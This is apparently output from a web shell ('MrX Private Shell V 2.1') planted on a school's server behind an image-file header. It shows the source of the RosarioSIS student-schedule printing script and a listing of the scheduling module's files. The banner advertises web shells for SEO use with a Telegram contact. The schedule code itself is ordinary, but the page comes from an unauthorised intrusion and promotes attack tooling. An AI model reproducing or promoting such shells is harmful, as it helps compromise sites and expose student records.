����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
$_REQUEST['mp_id'] = (int) issetVal( $_REQUEST['mp_id'], '' );
if ( $_REQUEST['modfunc'] === 'save' )
{
if ( empty( $_REQUEST['st_arr'] ) )
{
BackPrompt( _( 'You must choose at least one student.' ) );
}
$st_list = implode( ',', array_map( 'intval', $_REQUEST['st_arr'] ) );
$extra['WHERE'] = issetVal( $extra['WHERE'], '' );
$extra['WHERE'] .= " AND s.STUDENT_ID IN (" . $st_list . ")";
$date = RequestedDate( 'include_active_date', '' );
if ( $date )
{
$date_extra = "OR ('" . $date . "'>=sr.START_DATE
AND sr.END_DATE IS NULL)";
}
else
{
$date = DBDate();
$date_extra = 'OR sr.END_DATE IS NULL';
}
// @since 5.5 Display Title of: Subject, Course, Course Period.
$display_title_sql = 'c.TITLE';
$display_title_column = _( 'Course' );
if ( ! empty( $_REQUEST['display_title'] ) )
{
if ( $_REQUEST['display_title'] === 'subject' )
{
$display_title_sql = 'cs.TITLE';
$display_title_column = _( 'Subject' );
}
}
// FJ multiple school periods for a course period.
//$columns = array('PERIOD_TITLE' => _('Period').' '._('Days').' - '._('Short Name').' - '._('Teacher'),'MARKING_PERIOD_ID' => _('Term'),'DAYS' => _('Days'),'ROOM' => _('Room'),'COURSE_TITLE' => _('Course'));
$columns = [
'TITLE' => $display_title_column,
'PERIOD_TITLE' => _( 'Period' ) . ' ' . _( 'Days' ) . ' - ' . _( 'Short Name' ) . ' - ' . _( 'Teacher' ),
'ROOM' => _( 'Room' ),
'MARKING_PERIOD_ID' => _( 'Term' ),
];
/* $extra['SELECT'] .= ',c.TITLE AS COURSE_TITLE,p_cp.TITLE AS PERIOD_TITLE,sr.MARKING_PERIOD_ID,p_cp.DAYS,p_cp.ROOM';
$extra['FROM'] .= ' LEFT OUTER JOIN schedule sr ON (sr.STUDENT_ID=ssm.STUDENT_ID),courses c,course_periods p_cp,school_periods sp ';
$extra['WHERE'] .= " AND p_cp.PERIOD_ID=sp.PERIOD_ID AND ssm.SYEAR=sr.SYEAR AND sr.COURSE_ID=c.COURSE_ID AND sr.COURSE_PERIOD_ID=p_cp.COURSE_PERIOD_ID AND ('".$date."' BETWEEN sr.START_DATE AND sr.END_DATE $date_extra)";*/
$extra['SELECT'] = issetVal( $extra['SELECT'], '' );
$extra['SELECT'] .= ',' . $display_title_sql . ',c.TITLE AS COURSE_TITLE,p_cp.TITLE AS PERIOD_TITLE,sr.MARKING_PERIOD_ID,p_cp.ROOM';
$extra['FROM'] = issetVal( $extra['FROM'], '' );
$extra['FROM'] .= ' LEFT OUTER JOIN schedule sr ON (sr.STUDENT_ID=ssm.STUDENT_ID),courses c,course_periods p_cp,course_subjects cs ';
$extra['WHERE'] .= " AND ssm.SYEAR=sr.SYEAR
AND sr.COURSE_ID=c.COURSE_ID
AND sr.COURSE_PERIOD_ID=p_cp.COURSE_PERIOD_ID
AND c.SUBJECT_ID=cs.SUBJECT_ID
AND ('" . $date . "' BETWEEN sr.START_DATE AND sr.END_DATE " . $date_extra . ")";
if ( ! empty( $_REQUEST['mp_id'] ) )
{
$extra['WHERE'] .= ' AND sr.MARKING_PERIOD_ID IN (' . GetAllMP(
GetMP( $_REQUEST['mp_id'], 'MP' ),
$_REQUEST['mp_id']
) . ')';
}
// $extra['functions'] = array('MARKING_PERIOD_ID' => 'GetMP','DAYS' => '_makeDays');
//FJ add subject areas
$extra['functions'] = [ 'MARKING_PERIOD_ID' => 'GetMP' ];
$extra['group'] = [ 'STUDENT_ID' ];
$extra['ORDER'] = ',c.TITLE,p_cp.TITLE,sr.MARKING_PERIOD_ID';
if ( isset( $_REQUEST['mailing_labels'] )
&& $_REQUEST['mailing_labels'] == 'Y' )
{
$extra['group'][] = 'ADDRESS_ID';
}
Widgets( 'mailing_labels' );
// Parent: associated students.
$extra['ASSOCIATED'] = User( 'STAFF_ID' );
$RET = GetStuList( $extra );
if ( empty( $RET ) )
{
BackPrompt( _( 'No Students were found.' ) );
}
$handle = PDFStart();
if ( $_REQUEST['schedule_table'] === 'No' )
{
foreach ( (array) $RET as $student_id => $courses )
{
if ( isset( $_REQUEST['mailing_labels'] )
&& $_REQUEST['mailing_labels'] == 'Y' )
{
foreach ( (array) $courses as $address )
{
unset( $_ROSARIO['DrawHeader'] );
DrawHeader( _( 'Student Schedule' ) );
DrawHeader( SchoolInfo( 'TITLE' ), ProperDate( $date ) );
DrawHeader( $address[1]['FULL_NAME'], $address[1]['STUDENT_ID'] );
DrawHeader( $address[1]['GRADE_ID'], $_REQUEST['mp_id'] ? GetMP( $_REQUEST['mp_id'] ) : '' );
// @since 11.6 Add Mailing Label position
echo MailingLabelPositioned( $address[1]['MAILING_LABEL'] );
ListOutput(
$address,
$columns,
'Course',
'Courses'
);
echo '<div style="page-break-after: always;"></div>';
}
}
else
{
if ( isset( $_REQUEST['horizontalFormat'] ) )
{
$_SESSION['orientation'] = 'landscape';
}
unset( $_ROSARIO['DrawHeader'] );
DrawHeader( _( 'Student Schedule' ) );
DrawHeader( SchoolInfo( 'TITLE' ), ProperDate( $date ) );
DrawHeader( $courses[1]['FULL_NAME'], $courses[1]['STUDENT_ID'] );
DrawHeader( $courses[1]['GRADE_ID'], $_REQUEST['mp_id'] ? GetMP( $_REQUEST['mp_id'] ) : '' );
ListOutput(
$courses,
$columns,
'Course',
'Courses'
);
echo '<div style="page-break-after: always;"></div>';
}
}
}
if ( $_REQUEST['schedule_table'] == 'Yes' )
{
$schedule_table_days = [
'U' => false,
'M' => false,
'T' => false,
'W' => false,
'H' => false,
'F' => false,
'S' => false,
];
// FJ days display to locale.
$days_convert = [
'U' => _( 'Sunday' ),
'M' => _( 'Monday' ),
'T' => _( 'Tuesday' ),
'W' => _( 'Wednesday' ),
'H' => _( 'Thursday' ),
'F' => _( 'Friday' ),
'S' => _( 'Saturday' ),
];
if ( SchoolInfo( 'NUMBER_DAYS_ROTATION' ) !== null )
{
$days_convert = [
'U' => _( 'Day' ) . ' 7',
'M' => _( 'Day' ) . ' 1',
'T' => _( 'Day' ) . ' 2',
'W' => _( 'Day' ) . ' 3',
'H' => _( 'Day' ) . ' 4',
'F' => _( 'Day' ) . ' 5',
'S' => _( 'Day' ) . ' 6',
];
}
// @since 5.5 Display Title of: Subject, Course, Course Period.
$display_title_sql = 'c.TITLE';
if ( ! empty( $_REQUEST['display_title'] ) )
{
if ( $_REQUEST['display_title'] === 'course_period' )
{
$display_title_sql = 'cp.SHORT_NAME AS TITLE';
}
elseif ( $_REQUEST['display_title'] === 'subject' )
{
$display_title_sql = 'cs.TITLE';
}
}
$schedule_table_sql = "SELECT cp.ROOM," . $display_title_sql . ",sp.TITLE AS SCHOOL_PERIOD,
cpsp.DAYS,stu.STUDENT_ID," . DisplayNameSQL( 'sta' ) . " AS FULL_NAME
FROM course_periods cp,courses c,schools s,school_periods sp,
course_period_school_periods cpsp,students stu,schedule sr,staff sta,course_subjects cs
WHERE cp.COURSE_ID=c.COURSE_ID
AND c.SUBJECT_ID=cs.SUBJECT_ID
AND cp.SYEAR='" . UserSyear() . "'
AND s.ID=cp.SCHOOL_ID
AND s.ID='" . UserSchool() . "'
AND s.SYEAR=cp.SYEAR
AND sp.PERIOD_ID=cpsp.PERIOD_ID
AND cpsp.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID
AND sr.MARKING_PERIOD_ID IN (" . GetAllMP( GetMP( $_REQUEST['mp_id'], 'MP' ), $_REQUEST['mp_id'] ) . ")
AND stu.STUDENT_ID IN (" . $st_list . ")
AND stu.STUDENT_ID=sr.STUDENT_ID
AND cp.SCHOOL_ID=sr.SCHOOL_ID
AND cp.TEACHER_ID=sta.STAFF_ID
AND sr.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID
AND ('" . $date . "' BETWEEN sr.START_DATE AND sr.END_DATE " . $date_extra . ")
ORDER BY sp.SORT_ORDER IS NULL,sp.SORT_ORDER";
$schedule_table_RET = DBGet(
$schedule_table_sql,
[ 'DAYS' => '_GetDays' ],
[ 'STUDENT_ID', 'SCHOOL_PERIOD' ]
);
$columns_table = [ 'SCHOOL_PERIOD' => _( 'Period' ) ];
// Leave after $schedule_table_RET as _GetDays() callback modifies $schedule_table_days global.
foreach ( $schedule_table_days as $day => $true )
{
if ( $true )
{
$columns_table[$day] = $days_convert[$day];
}
}
if ( ! $schedule_table_RET )
{
$error[] = sprintf(
_( 'No %s were found.' ),
mb_strtolower( ngettext( 'Course Period', 'Course Periods', 0 ) )
);
echo ErrorMessage( $error );
}
foreach ( (array) $schedule_table_RET as $student_id => $schedule_table )
{
if ( isset( $_REQUEST['mailing_labels'] )
&& $_REQUEST['mailing_labels'] == 'Y'
&& isset( $RET[$student_id] ) )
{
foreach ( (array) $RET[$student_id] as $address )
{
unset( $_ROSARIO['DrawHeader'] );
DrawHeader( _( 'Student Schedule' ) );
DrawHeader( SchoolInfo( 'TITLE' ), ProperDate( $date ) );
DrawHeader( $address[1]['FULL_NAME'], $address[1]['STUDENT_ID'] );
DrawHeader( $address[1]['GRADE_ID'], $_REQUEST['mp_id'] ? GetMP( $_REQUEST['mp_id'] ) : '' );
// @since 11.6 Add Mailing Label position
echo MailingLabelPositioned( $address[1]['MAILING_LABEL'] );
$schedule_table = _schedule_table_RET( $schedule_table );
ListOutput(
$schedule_table,
$columns_table,
'Period',
'Periods',
false,
[]
);
}
}
else
{
if ( isset( $_REQUEST['horizontalFormat'] ) )
{
$_SESSION['orientation'] = 'landscape';
}
unset( $_ROSARIO['DrawHeader'] );
DrawHeader( _( 'Student Schedule' ) );
DrawHeader( SchoolInfo( 'TITLE' ), ProperDate( $date ) );
DrawHeader( $RET[$student_id][1]['FULL_NAME'], $RET[$student_id][1]['STUDENT_ID'] );
DrawHeader( $RET[$student_id][1]['GRADE_ID'], $_REQUEST['mp_id'] ? GetMP( $_REQUEST['mp_id'] ) : '' );
$schedule_table = _schedule_table_RET( $schedule_table );
ListOutput(
$schedule_table,
$columns_table,
'Period',
'Periods',
false,
[]
);
}
echo '<div style="page-break-after: always;"></div>';
}
}
PDFStop( $handle );
}
if ( ! $_REQUEST['modfunc'] )
{
DrawHeader( ProgramTitle() );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
// @since 11.1 SQL Use GetFullYearMP() & GetChildrenMP() functions to limit Marking Periods
$fy_and_children_mp = "'" . GetFullYearMP() . "'";
if ( GetChildrenMP( 'FY' ) )
{
$fy_and_children_mp .= "," . GetChildrenMP( 'FY' );
}
$mp_RET = DBGet( "SELECT MARKING_PERIOD_ID,TITLE," .
db_case( [ 'MP', "'FY'", "'0'", "'SEM'", "'1'", "'QTR'", "'2'" ] ) . " AS TBL
FROM school_marking_periods
WHERE (MP='FY' OR MP='SEM' OR MP='QTR')
AND MARKING_PERIOD_ID IN(" . $fy_and_children_mp . ")
AND SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'
ORDER BY TBL,SORT_ORDER IS NULL,SORT_ORDER,START_DATE" );
foreach ( (array) $mp_RET as $mp )
{
$mp_options[ $mp['MARKING_PERIOD_ID'] ] = $mp['TITLE'];
}
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
'&modfunc=save&include_inactive=' .
issetVal( $_REQUEST['include_inactive'], '' ) .
'&_ROSARIO_PDF=true' ) . '" method="POST" id="printSchedulesForm">';
$extra['header_right'] = Buttons( _( 'Create Schedules for Selected Students' ) );
if ( User( 'PROFILE' ) !== 'admin' )
{
// Allow edit for non admins so we can use Input functions.
$_ROSARIO['allow_edit'] = true;
}
$extra['extra_header_left'] = '<table class="cellpadding-5"><tr><td>' . SelectInput(
'',
'mp_id',
_( 'Marking Period' ),
$mp_options
) . '</td></tr>';
$extra['extra_header_left'] .= '<tr><td>' . DateInput(
'',
'include_active_date',
_( 'Include only courses active as of' )
) . '</td></tr>';
// Schedule table.
$extra['extra_header_left'] .= '<tr><td>' . RadioInput(
'Yes',
'schedule_table',
'',
[
'Yes' => _( 'Table' ),
'No' => _( 'List' ),
],
false,
'',
false
) . '</td></tr>';
// Horizontal format option.
$extra['extra_header_left'] .= '<tr><td>' . CheckboxInput(
'',
'horizontalFormat',
_( 'Horizontal Format' ),
'',
true
) . '</td></tr>';
// @since 5.5 Display Title of: Subject, Course, Course Period.
$extra['extra_header_left'] .= '<tr><td>' . RadioInput(
'course',
'display_title',
_( 'Display Title of' ),
[
'subject' => _( 'Subject' ),
'course' => _( 'Course' ),
'course_period' => _( 'Course Period' ),
],
false,
'',
false
) . '</td></tr>';
$extra['extra_header_left'] .= '<tr><td><table>';
Widgets( 'mailing_labels' );
$extra['extra_header_left'] .= $extra['search'];
$extra['search'] = '';
$extra['extra_header_left'] .= '</tr></table></td></tr></table>';
}
$extra['link'] = [ 'FULL_NAME' => false ];
$extra['SELECT'] = ",s.STUDENT_ID AS CHECKBOX";
$extra['functions'] = [ 'CHECKBOX' => 'MakeChooseCheckbox' ];
$extra['columns_before'] = [ 'CHECKBOX' => MakeChooseCheckbox( 'Y_required', '', 'st_arr' ) ];
$extra['options']['search'] = false;
$extra['new'] = true;
// Parent: associated students.
$extra['ASSOCIATED'] = User( 'STAFF_ID' );
Widgets( 'request' );
Widgets( 'course' );
Search( 'student_id', $extra );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<br /><div class="center">' . Buttons( _( 'Create Schedules for Selected Students' ) ) . '</div>';
echo '</form>';
}
}
//FJ add schedule table
/**
* @param $value
* @param $column
* @return mixed
*/
function _GetDays( $value, $column )
{
global $schedule_table_days;
if ( ! $value )
{
// Fix PHP warning undefined array key ""
return [];
}
$days_array = str_split( $value );
foreach ( $days_array as $day )
{
if ( ! $day )
{
// Fix PHP warning undefined array key "" when $days_array is empty
continue;
}
$schedule_table_days[$day] = true;
}
return $days_array;
}
/**
* @param $schedule_table_RET
* @return mixed
*/
function _schedule_table_RET( $schedule_table_RET )
{
$schedule_table_body = [];
$i = 1;
foreach ( (array) $schedule_table_RET as $period => $course_periods )
{
$schedule_table_body[$i]['SCHOOL_PERIOD'] = $period;
foreach ( $course_periods as $course_period )
{
foreach ( $course_period['DAYS'] as $course_period_day )
{
if ( ! isset( $schedule_table_body[$i][$course_period_day] ) || ! is_array( $schedule_table_body[$i][$course_period_day] ) )
{
$schedule_table_body[$i][$course_period_day] = [];
}
$schedule_table_body[$i][$course_period_day][] = '<td>' . $course_period['TITLE'] . '<br />' .
$course_period['FULL_NAME'] .
( empty( $course_period['ROOM'] ) ?
'' :
'<br /><span class="size-1">' . _( 'Room' ) . ': ' . $course_period['ROOM'] . '</span>' ) .
'</td>';
}
}
$j = 0;
foreach ( $schedule_table_body[$i] as $day_key => $schedule_table_day )
{
$j++;
if ( $j == 1 ) // skip SCHOOL_PERIOD column
{
continue;
}
if ( count( (array) $schedule_table_day ) == 1 )
{
$schedule_table_body[$i][$day_key] = str_replace( [ '<td>', '</td>' ], '', $schedule_table_day[0] );
}
else
{
$schedule_table_body[$i][$day_key] = '<table><tr>' . implode( $schedule_table_day ) . '</tr></table>';
}
}
$i++;
}
return $schedule_table_body;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AddDrop.php | File | 2.52 KB | 0644 |
|
| Courses.php | File | 52.23 KB | 0644 |
|
| IncompleteSchedules.php | File | 4.17 KB | 0644 |
|
| MassDrops.php | File | 9.03 KB | 0644 |
|
| MassRequests.php | File | 6.37 KB | 0644 |
|
| MassSchedule.php | File | 8.22 KB | 0644 |
|
| Menu.php | File | 2.4 KB | 0644 |
|
| PrintClassLists.php | File | 4.24 KB | 0644 |
|
| PrintClassPictures.php | File | 8.54 KB | 0644 |
|
| PrintRequests.php | File | 3.64 KB | 0644 |
|
| PrintSchedules.php | File | 14.09 KB | 0644 |
|
| Requests.php | File | 9.52 KB | 0644 |
|
| RequestsReport.php | File | 842 B | 0644 |
|
| Schedule.php | File | 27.21 KB | 0644 |
|
| ScheduleReport.php | File | 1.13 KB | 0644 |
|
| Scheduler.php | File | 20.4 KB | 0644 |
|
| functions.inc.php | File | 2.69 KB | 0644 |
|
| new_Requests.php | File | 2.28 KB | 0644 |
|